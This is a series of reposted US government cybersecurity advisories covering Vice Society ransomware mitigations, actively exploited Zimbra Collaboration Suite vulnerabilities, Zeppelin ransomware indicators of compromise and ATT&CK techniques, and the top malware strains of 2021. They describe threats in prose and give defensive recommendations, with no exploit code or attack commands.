    • Store passwords in hashed format using industry-recognized password managers;
    • Add password user “salts” to shared login credentials;
    • Avoid reusing passwords;
    • Implement multiple failed login attempt account lockouts;
    • Disable password “hints”;
    • Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised.
      Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
    • Require administrator credentials to install software.
  • Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. 
  • Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.

Protective Controls and Architecture

  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Secure and closely monitor remote desktop protocol (RDP) use.
    • Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. If RDP is deemed operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.

Vulnerability and Configuration Management

  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should prioritize patching of vulnerabilities on CISA’s Known Exploited Vulnerabilities catalog.
  • Disable unused ports.
  • Consider adding an email banner to emails received from outside your organization.
  • Disable hyperlinks in received emails.
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.
  • Ensure devices are properly configured and that security features are enabled.
  • Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389).
  • Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary, and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.

REFERENCES

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Vice Society actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

The FBI, CISA, and the MS-ISAC strongly discourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at report@cisa.gov or (888) 282-0870. SLTT government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722).

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC.

Revisions

  • September 6, 2022: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: August 16, 2022

Summary

Actions for ZCS administrators to take today to mitigate malicious cyber activity:
• Patch all systems and prioritize patching known exploited vulnerabilities.
• Deploy detection signatures and hunt for indicators of compromise (IOCs).
• If ZCS was compromised, remediate malicious activity.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are publishing this joint Cybersecurity Advisory (CSA) in response to active exploitation of multiple Common Vulnerabilities and Exposures (CVEs) against Zimbra Collaboration Suite (ZCS), an enterprise cloud-hosted collaboration software and email platform. CVEs currently being exploited against ZCS include: 

  • CVE-2022-24682 
  • CVE-2022-27924 
  • CVE-2022-27925 chained with CVE-2022-37042 
  • CVE-2022-30333

Cyber threat actors may be targeting unpatched ZCS instances in both government and private sector networks. CISA and the MS-ISAC strongly urge users and administrators to apply the guidance in the Recommendations section of this CSA to help secure their organization’s systems against malicious cyber activity. CISA and the MS-ISAC encourage organizations who did not immediately update their ZCS instances upon patch release, or whose ZCS instances were exposed to the internet, to assume compromise and hunt for malicious activity using the third-party detection signatures in the Detection Methods section of this CSA. Organizations that detect potential compromise should apply the steps in the Incident Response section of this CSA.

Download the PDF version of this report: pdf, 355 kb

Technical Details

CVE-2022-27924

CVE-2022-27924 is a high-severity vulnerability enabling an unauthenticated malicious actor to inject arbitrary memcache commands into a targeted ZCS instance and cause an overwrite of arbitrary cached entries. The actor can then steal ZCS email account credentials in cleartext form without any user interaction. With valid email account credentials in an organization not enforcing multifactor authentication (MFA), a malicious actor can use spear phishing, social engineering, and business email compromise (BEC) attacks against the compromised organization. Additionally, malicious actors could use the valid account credentials to open webshells and maintain persistent access.

On March 11, 2022, researchers from SonarSource announced the discovery of this ZCS vulnerability. Zimbra issued fixes for releases 8.8.15 and 9.0 on May 10, 2022. In June 2022, SonarSource publicly released proof-of-concept (POC) exploits for this vulnerability.[1][2] Based on evidence of active exploitation, CISA added this vulnerability to the Known Exploited Vulnerabilities Catalog on August 4, 2022. Due to the POC and ease of exploitation, CISA and the MS-ISAC expect to see widespread exploitation of unpatched ZCS instances in government and private networks.

CVE-2022-27925 and CVE-2022-37042

CVE-2022-27925 is a high severity vulnerability in ZCS releases 8.8.15 and 9.0 that have mboximport functionality to receive a ZIP archive and extract files from it. An authenticated user has the ability to upload arbitrary files to the system thereby leading to directory traversal.[3] On August 10, 2022, researchers from Volexity reported widespread exploitation—against over 1,000 ZCS instances—of CVE-2022-27925 in conjunction with CVE-2022-37042.[4] CISA added both CVEs to the Known Exploited Vulnerabilities Catalog on August 11, 2022. 

CVE-2022-37042 is an authentication bypass vulnerability that affects ZCS releases 8.8.15 and 9.0. CVE-2022-37042 could allow an unauthenticated malicious actor access to a vulnerable ZCS instance. According to Zimbra, CVE-2022-37042 is found in the MailboxImportServlet function.[5][6] Zimbra issued fixes in late July 2022.

CVE-2022-30333

CVE-2022-30333 is a high-severity directory traversal vulnerability in RARLAB UnRAR on Linux and UNIX allowing a malicious actor to write to files during an extract (unpack) operation. A malicious actor can exploit CVE-2022-30333 against a ZCS server by sending an email with a malicious RAR file. Upon email receipt, the ZCS server would automatically extract the RAR file to check for spam or malware.[7] Any ZCS instance with unrar installed is vulnerable to CVE-2022-30333.

Researchers from SonarSource shared details about this vulnerability in June 2022.[8] Zimbra made configuration changes to use the 7zip program instead of unrar.[9] CISA added CVE-2022-3033 to the Known Exploited Vulnerabilities Catalog on August 9, 2022. Based on industry reporting, a malicious cyber actor is selling a cross-site scripting (XSS) exploit kit for the ZCS vulnerability to CVE 2022 30333. A Metasploit module is also available that creates a RAR file that can be emailed to a ZCS server to exploit CVE-2022-30333.[10]

CVE-2022-24682

CVE-2022-24682 is a medium-severity vulnerability that impacts ZCS webmail clients running releases before 8.8.15 patch 30 (update 1), which contain a cross-site scripting (XSS) vulnerability allowing malicious actors to steal session cookie files. Researchers from Volexity shared this vulnerability on February 3, 2022[11], and Zimbra issued a fix on February 4, 2022.[12] CISA added this vulnerability to the Known Exploited Vulnerabilities Catalog on February 25, 2022. 

DETECTION METHODS

Note: CISA and the MS-ISAC will update this section with additional IOCs and signatures as further information becomes available. 
CISA recommends administrators, especially at organizations that did not immediately update their ZCS instances upon patch release, to hunt for malicious activity using the following third-party detection signatures:

Mitigations

CISA and the MS-ISAC recommend organizations upgrade to the latest ZCS releases as noted on Zimbra Security – News & Alerts and Zimbra Security Advisories.

See Volexity’s Mass Exploitation of (Un)authenticated Zimbra RCE: CVE-2022-27925 for mitigation steps.

Additionally, CISA and the MS-ISAC recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations: cisa.gov/cyber-hygiene-services
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.

INCIDENT RESPONSE

If an organization’s system has been compromised by active or recently active threat actors in their environment, CISA and the MS-ISAC recommend the following initial steps:

  1. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
  2. Quarantine or take offline potentially affected hosts.
  3. Reimage compromised hosts.
  4. Provision new account credentials.
  5. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). SLTT government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722).

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and the MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response. 

ACKNOWLEDGEMENTS

CISA and the MS-ISAC would like to thank Volexity and Secureworks for their contributions to this advisory.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and the MS-ISAC do not provide any warranties of any kind regarding this information. CISA and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

References

Revisions

  • August 16, 2022: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: August 11, 2022

Summary

Actions to take today to mitigate cyber threats from ransomware:

• Prioritize remediating known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enable and enforce multifactor authentication.

Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Zeppelin ransomware IOCs and TTPs associated with ransomware variants identified through FBI investigations as recently as 21 June 2022.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report: pdf, 999 kb

Download the YARA signature for Zeppelin: YARA Signature, .yar 125 kb

Download the IOCs: .stix 113 kb

Technical Details

Note: this advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Zeppelin ransomware is a derivative of the Delphi-based Vega malware family and functions as a Ransomware as a Service (RaaS). From 2019 through at least June 2022, actors have used this malware to target a wide range of businesses and critical infrastructure organizations, including defense contractors, educational institutions, manufacturers, technology companies, and especially organizations in the healthcare and medical industries. Zeppelin actors have been known to request ransom payments in Bitcoin, with initial amounts ranging from several thousand dollars to over a million dollars.

Zeppelin actors gain access to victim networks via RDP exploitation [T1133], exploiting SonicWall firewall vulnerabilities [T1190], and phishing campaigns [T1566]. Prior to deploying Zeppelin ransomware, actors spend one to two weeks mapping or enumerating the victim network to identify data enclaves, including cloud storage and network backups [TA0007]. Zeppelin actors can deploy Zeppelin ransomware as a .dll or .exe file or contained within a PowerShell loader. [1

Prior to encryption, Zeppelin actors exfiltrate [TA0010] sensitive company data files to sell or publish in the event the victim refuses to pay the ransom. Once the ransomware is executed, a randomized nine-digit hexadecimal number is appended to each encrypted file as a file extension, e.g., file.txt.txt.C59-E0C-929 [T1486]. A note file with a ransom note is left on compromised systems, frequently on the desktop (see figure 1 below).

 

"Figure 1: This is an illustration of a note file with a ransom note is left on compromised systems, frequently on the desktop."

 

The FBI has observed instances where Zeppelin actors executed their malware multiple times within a victim’s network, resulting in the creation of different IDs or file extensions, for each instance of an attack; this results in the victim needing several unique decryption keys.

 

Indicators of Compromise (IOC)

See table 1 below for IOCs as of June 2022 obtained from FBI incident response investigations.

MD5

SHA1

 SHA256

981526650af8d6f8f20177a26abb513a

4fee2cb5c98abbe556e9c7ccfebe9df4f8cde53f

001938ed01bfde6b100927ff8199c65d1bff30381b80b846f2e3fe5a0d2df21d

c25d45e9bbfea29cb6d9ee0d9bf2864d

eaeff8d315cca71e997063a2baec5cc73fad9453

a42185d506e08160cb96c81801fbe173fb071f4a2f284830580541e057f4423b

183b6b0c90c1e0276a2015752344a4cf

1cb5e8132302b420af9b1e5f333c507d8b2a2441

aa7e2d63fc991990958dfb795a0aed254149f185f403231eaebe35147f4b5ebe

9349e1cc3de7c7f6893a21bd6c3c4a6b

db398e38ee6221df7e4aa49d8f96799cca4d87e1

a2a9385cbbcfacc2d541f5bd92c38b0376b15002901b2fd1cc62859e161a8037

c8f75487d0d496a3746e6c81a5ecc6dc

4b91a91a98a2f0128c80f8ceeef0f5d293adf0cd

54d567812eca7fc5f2ff566e7fb8a93618b6d2357ce71776238e0b94d55172b1

477eedb422041385e59a4fff72cb97c1

9892cc90e6712d3548e45f34f14f362bccedf0be

fb59f163a2372d09cd0fc75341d3972fdd3087d2d507961303656b1d791b17c6

5841ef35aaff08bb03d25e5afe3856a2

ffd228b0d7afe7cab4e9734f7093e7ba01c5a06e

1e3c5a0aa079f8dfcc49cdca82891ab78d016a919d9810120b79c5deb332f388

d6c4b253ab1d169cf312fec12cc9a28f

0f47c279fea1423c7a0e7bc967d9ff3fae7a0de8

347f14497df4df73bc414f4e852c5490b12db991a4b3811712bac7476a3f1bc9

fba7180ad49d6a7f3c60c890e2784704

f561f9e3c949fe87f12dbfa166ffb2eb85712419

7d8c4c742689c097ac861fcbf7734709fd7dcab1f7ef2ceffb4b0b7dec109f55

bc6c991941d9afbd522fa0a2a248a97a

a243ce234fc8294e2e2e526418b4eaadc2d6c84f

37c320983ae4c1fd0897736a53e5b0481edb1d1d91b366f047aa024b0fc0a86e

f3490951ae51922cb360a3d76a670159

e2cb60be111716e32db7ca2365ad6e73c30f0e21

894b03ed203cfa712a28ec472efec0ca9a55d6058115970fe7d1697a3ddb0072

e4f1f05c2e6c3fc2f3336a8c8799ffb4

dbd9fcf2b05e703d34181c46f4c22392b9fcc1da

307877881957a297e41d75c84e9a965f1cd07ac9d026314dcaff55c4da23d03e

aa2048271f0aef3383480ce4a7c93b52

512b16ea74027fa4d0055831de5e51278812c8de

bafd3434f3ba5bb9685e239762281d4c7504de7e0cfd9d6394e4a85b4882ff5d

f66b738e1bfe1f8aab510abed850c424

571f50fee0acad1da39fe06c75116461800cc719

faa79c796c27b11c4f007023e50509662eac4bca99a71b26a9122c260abfb3c6

bb30f050546f5d6e61fafc59eaf097c3

ee44179f64918f72a8d2e88a5074d89efab3d81b

e48cf17caffc40815efb907e522475722f059990afc19ac516592231a783e878

78621f1e196497d440afb57f4609fcf9

eed7c3bb3fc5181b88abeed2204997f350324022

4a4be110d587421ad50d2b1a38b108fa05f314631066a2e96a1c85cc05814080

f4e0ee0200de397691748a2cdcd7e34a

bd3f6b878284a63c72e8354e877e3f48d6fca53c

9ef90ec912543cc24e18e73299296f14cb2c931a5d633d4c097efa372ae59846

cf5a358a22326f09fd55983bb812b7d8

1addcffae4fd4211ea24202783c2ffad6771aa34

dd89d939c941a53d6188232288a3bd73ba9baf0b4ca6bf6ccca697d9ee42533f

7afe492a38ca6f27e24028aab68406b5

5870a3adbce9737319f3c9461586d5f2afbc7adb

79d6e498e7789aaccd8caa610e8c15836267c6a668c322111708cf80bc38286c

1da1c0115caca5ebf064380eb7490041

5edb8b651c7013ebaba2eb81c87df76a1e0724d6

b22b3625bcce7b010c0ee621434878c5f8d7691c2a101ae248dd221a70668ac0

8c3c663ffcf363d087f4e114a79945ca

905726d178962dd1d7fe87504d051aca440740b8

961fbc7641f04f9fed8391c387f01d64435dda6af1164be58c4cb808b08cc910

17c5cae3bce5832dd42986fe612517d9

6f70e73c53d7622d8c4808ae7849133df1343484

d618c1ccd24d29e911cd3e899a4df2625155297e80f4c5c1354bc2e79f70768c

bfe7f54f1f0640936dd7a3384608b1f6

9436ccee41c01ca3cb4db55c10884615aba76d19

8170612574f914eec9e66902767b834432a75b1d6ae510f77546af2a291a48a2

f28af04ef0370addfebfdd31f1ec25ed

cfcfa995c15d9f33de21d0dd88d3b95d0f91d6bc

5326f52bd9a7a52759fe2fde3407dc28e8c2caa33abf1c09c47b192a1c004c12

f3bcad5358f89df1eb0294ef53f54437

eb036759beb28f86ee981bdca4fad24152b82d8c

6bafc7e2c7edc2167db187f50106e57b49d4a0e1b9269f1d8a40f824f2ccb42b

b1f6370582fbaf5c51e826fecef53cd7

4b2d0127699f708a8116bff8f25c9d6140033197

f7af51f1b2b98b482885b702508bd65d310108a506e6d8cef3986e69f972c67d

de785ed922d4e737dc0fa0bb30a4de8b

4d280105e724db851f03de8fc76409ef4057ff2c

bc214c74bdf6f6781f0de994750ba3c50c0e10d9db3483183bd47f5cef154509

7a296f7c1ac4aeee18d4c23476735be7

c13542310f7a4e50a78247fc7334096ca09c5d7f

ed1548744db512a5502474116828f75737aec8bb11133d5e4ad44be16aa3666b

37f18b38e1af6533d93bbb3f2ddb86dc

d3929331d9bc278dea5607aec1574012a08de861

cf9b6dda84cbf2dbfc6edd7a740f50bddc128842565c590d8126e5d93c024ff2

291de974e5cbe5e3d47e3d17487e027f

def93f18aaf146fe8f3c4f9a257364f181197608

21807d9fcaa91a0945e80d92778760e7856268883d36139a1ad29ab91f9d983d

99d59c862a082b207a868e409ce2d97c

908a9026d61717b5fa29959478a9bd939da9206f

0d22d3d637930e7c26a0f16513ec438243a8a01ea9c9d856acbcda61fcb7b499

d27125d534e398f1873b7f4835a79f09

1862f063c30cd02cfea6070d3dba41ac5eee2a35

6fbfc8319ed7996761b613c18c8cb6b92a1eaed1555dae6c6b8e2594ac5fa2b9

4534f2afe5f7df1d998f37ad4e35afeb

e2cc94e471509f9fa58620b8bb56d77f2cfe74b0

e8596675fef4ad8378e4220c22f4358fdb4a20531b59d7df5382c421867520a9

7ab0676262c681b8ec15bdada17d7476

2f1803d444891abb604864d476a8feac0d614f77

353e59e96cbf6ea6c16d06da5579d3815aaaeeefacabd7b35ba31f7b17207c5b

d7d3d23a5e796be844af443bda5cd67e

a9771c591f6ccc2f3419d571c64ab93228785771

85f9bf4d07bc2ac1891e367f077dd513d6ca07705bffd1b648d32a7b2dc396f5

0a1cd4efda7543cec406a6822418daf6

af4f8d889d6a2049e7a379ea197f8cd361feb074

614cb70659ef5bb2f641f09785adc4ab5873e0564a5303252d3c141a899253b2

23eda650479fc4908d0ddff713508025

b1e6527c10f68586f7f1a279ed439d46c3f12a06

fb3e0f1e6f53ffe680d66d2143f06eb6363897d374dc5dc63eb2f28188b8ad83

6607d8c1a28d7538e2a6565cf40d1260

f618879c011cde344066072949f025827feea663

594df9c402abfdc3c838d871c3395ac047f256b2ac2fd6ff66b371252978348d

caa7a669da39ffd8a3a4f3419018b363

44538b7f8f065e3cef0049089a8522a76a7fccc6

2dffe3ba5c70af51ddf0ff5a322eba0746f3bf3ae0751beb3dc0059ed3faaf3d

48b844494a746ca96c7b96d6bd90f45f

7bf83b98f798f3a8f4ce85b6d29554a435e516e3

45fba1ef399f41227ae4d14228253237b5eb464f56cab92c91a6a964dc790622

9c13ab7b79aec8dc02869999773cd4b2

4b4d865132329e0dd1d129e85fc4fa9ad0c1d206

774ef04333c3fb2a6a4407654e28c2900c62bd202ad6e5909336eb9bc180d279

450e5bf4b42691924d09267ac1a570cb

665a563157f4aa0033a15c88f55ac4fa28397b49

677035259ba8342f1a624fd09168c42017bdca9ebc0b39bf6c37852899331460

51104215a618a5f56ad9c884d6832f79

801580a46f9759ceeeebbce419d879e2ed6943fe

26ec12b63c0e4e60d839aea592c4b5dcff853589b53626e1dbf8c656f4ee6c64

73627cbe2ba139e2ec26889a4e8d6284

1116dc35993fce8118e1e5421000a70b6777433f

37efe10b04090995e2f3d9f932c3653b27a65fc76811fa583934a725d41a6b08

935f54b6609c5339001579e96dc34244

a809327d39fab61bfcfac0c97b1d4b3bfb9a2cfe

a5847867730e7849117c31cdae8bb0a25004635d49f366fbfaebce034d865d7d

ba681db97f283c2e784d9bb4969b1f5a

5d28acf52f399793e82ec7e79da47d372d9175d7

e61edbddf9aed8a52e9be1165a0440f1b6e9943ae634148df0d0517a0cf2db13

c1ab7b68262b5ab31c45327e7138fd25

b8c74327831e460d2b2a8eb7e68ee68938779d8d

746f0c02c832b079aec221c04d2a4eb790287f6d10d39b95595a7df4086f457f

f818938b987236cdd41195796b4c1fb5

bfed40f050175935277c802cbbbce132f44c06ec

b191a004b6d8a706aba82a2d1052bcb7bed0c286a0a6e4e0c4723f073af52e7c

0a1cd4efda7543cec406a6822418daf6

af4f8d889d6a2049e7a379ea197f8cd361feb074

614cb70659ef5bb2f641f09785adc4ab5873e0564a5303252d3c141a899253b2

d7d3d23a5e796be844af443bda5cd67e

a9771c591f6ccc2f3419d571c64ab93228785771

85f9bf4d07bc2ac1891e367f077dd513d6ca07705bffd1b648d32a7b2dc396f5

7ab0676262c681b8ec15bdada17d7476

2f1803d444891abb604864d476a8feac0d614f77

353e59e96cbf6ea6c16d06da5579d3815aaaeeefacabd7b35ba31f7b17207c5b

4534f2afe5f7df1d998f37ad4e35afeb

e2cc94e471509f9fa58620b8bb56d77f2cfe74b0

e8596675fef4ad8378e4220c22f4358fdb4a20531b59d7df5382c421867520a9

d27125d534e398f1873b7f4835a79f09

1862f063c30cd02cfea6070d3dba41ac5eee2a35

6fbfc8319ed7996761b613c18c8cb6b92a1eaed1555dae6c6b8e2594ac5fa2b9

99d59c862a082b207a868e409ce2d97c

908a9026d61717b5fa29959478a9bd939da9206f

0d22d3d637930e7c26a0f16513ec438243a8a01ea9c9d856acbcda61fcb7b499

 

MITRE ATT&CK TECHNIQUES

 Zeppelin actors use the ATT&CK techniques listed in Table 2.

Table 2: Zeppelin Actors Att&ck Techniques for Enterprise

Initial Access

Technique Title

ID

Use

Exploit External Remote Services

T1133

Zeppelin actors exploit RDP to gain access to victim networks.

Exploit

Public-Facing Application

T1190

Zeppelin actors exploit vulnerabilities in internet-facing systems to gain access to systems

Phishing

T1566

Zeppelin actors have used phishing and spear phishing to gain access to victims’ networks.

Execution

Technique Title

ID

Use

Malicious Link

T1204.001

Zeppelin actors trick users to click a malicious link to execute malicious macros.

Malicious File Attachment

T1204.002

Zeppelin actors trick users to click a malicious attachment disguised as advertisements to execute malicious macros.

Persistence

Technique Title

ID

Use

Modify System Process

T1543.003

Zeppelin actors encrypt Windows Operating functions to preserve compromised system functions.

Impact

Technique Title

ID

Use

Data Encrypted for Impact

T1486

Zeppelin actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.

 

DETECTION

Download the YARA signature for Zeppelin: YARA Signature, .yar 125 kb

Mitigations

The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Zeppelin ransomware:

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length;
    • Store passwords in hashed format using industry-recognized password managers;
    • Add password user “salts” to shared login credentials;
    • Avoid reusing passwords;
    • Implement multiple failed login attempt account lockouts;
    • Disable password “hints”;
    • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
    • Require administrator credentials to install software.
  • Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. 
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching SonicWall firewall vulnerabilities and known exploited vulnerabilities in internet-facing systems. Note: SonicWall maintains a vulnerability list that includes Advisory ID, CVE, and mitigation. Their list can be found at psirt.global.sonicwall.com/vuln-list
  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. 
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. 
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. 
  • Disable unused ports.
  • Consider adding an email banner to emails received from outside your organization.
  • Disable hyperlinks in received emails.
  • Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. 
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. 
  • Maintain offline backups of data, and regularly maintain backup and restoration.  By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. 
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.

RESOURCES

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Zeppelin actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.

References

Revisions

  • August 11, 2022: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: August 4, 2022

Summary

Immediate Actions You Can Take Now to Protect Against Malware:

• Patch all systems and prioritize patching known exploited vulnerabilities.
• Enforce multifactor authentication (MFA).
• Secure Remote Desktop Protocol (RDP) and other risky services.
• Make offline backups of your data.
• Provide end-user awareness and training about social engineering and phishing.

This joint Cybersecurity Advisory (CSA) was coauthored by the Cybersecurity and Infrastructure Security Agency (CISA) and the Australian Cyber Security Centre (ACSC). This advisory provides details on the top malware strains observed in 2021. Malware, short for “malicious software,” can compromise a system by performing an unauthorized function or process. Malicious cyber actors often use malware to covertly compromise and then gain access to a computer or mobile device. Some examples of malware include viruses, worms, Trojans, ransomware, spyware, and rootkits.[1]

In 2021, the top malware strains included remote access Trojans (RATs), banking Trojans, information stealers, and ransomware. Most of the top malware strains have been in use for more than five years with their respective code bases evolving into multiple variations. The most prolific malware users are cyber criminals, who use malware to deliver ransomware or facilitate theft of personal and financial information.

CISA and ACSC encourage organizations to apply the recommendations in the Mitigations sections of this joint CSA. These mitigations include applying timely patches to systems, implementing user training, securing Remote Desktop Protocol (RDP), patching all systems especially for known exploited vulnerabilities, making offline backups of data, and enforcing multifactor authentication (MFA).

Download the PDF version of this report: pdf, 489 kb

Technical Details

Key Findings

The top malware strains of 2021 are: Agent Tesla, AZORult, Formbook, Ursnif, LokiBot, MOUSEISLAND, NanoCore, Qakbot, Remcos, TrickBot and GootLoader.

  • Malicious cyber actors have used Agent Tesla, AZORult, Formbook, LokiBot, NanoCore, Remcos, and TrickBot for at least five years.
  • Malicious cyber actors have used Qakbot and Ursnif for more than a decade.

Updates made by malware developers, and reuse of code from these malware strains, contribute to the malware’s longevity and evolution into multiple variations. Malicious actors’ use of known malware strains offers organizations opportunities to better prepare, identify, and mitigate attacks from these known malware strains.

The most prolific malware users of the top malware strains are cyber criminals, who use malware to deliver ransomware or facilitate theft of personal and financial information.

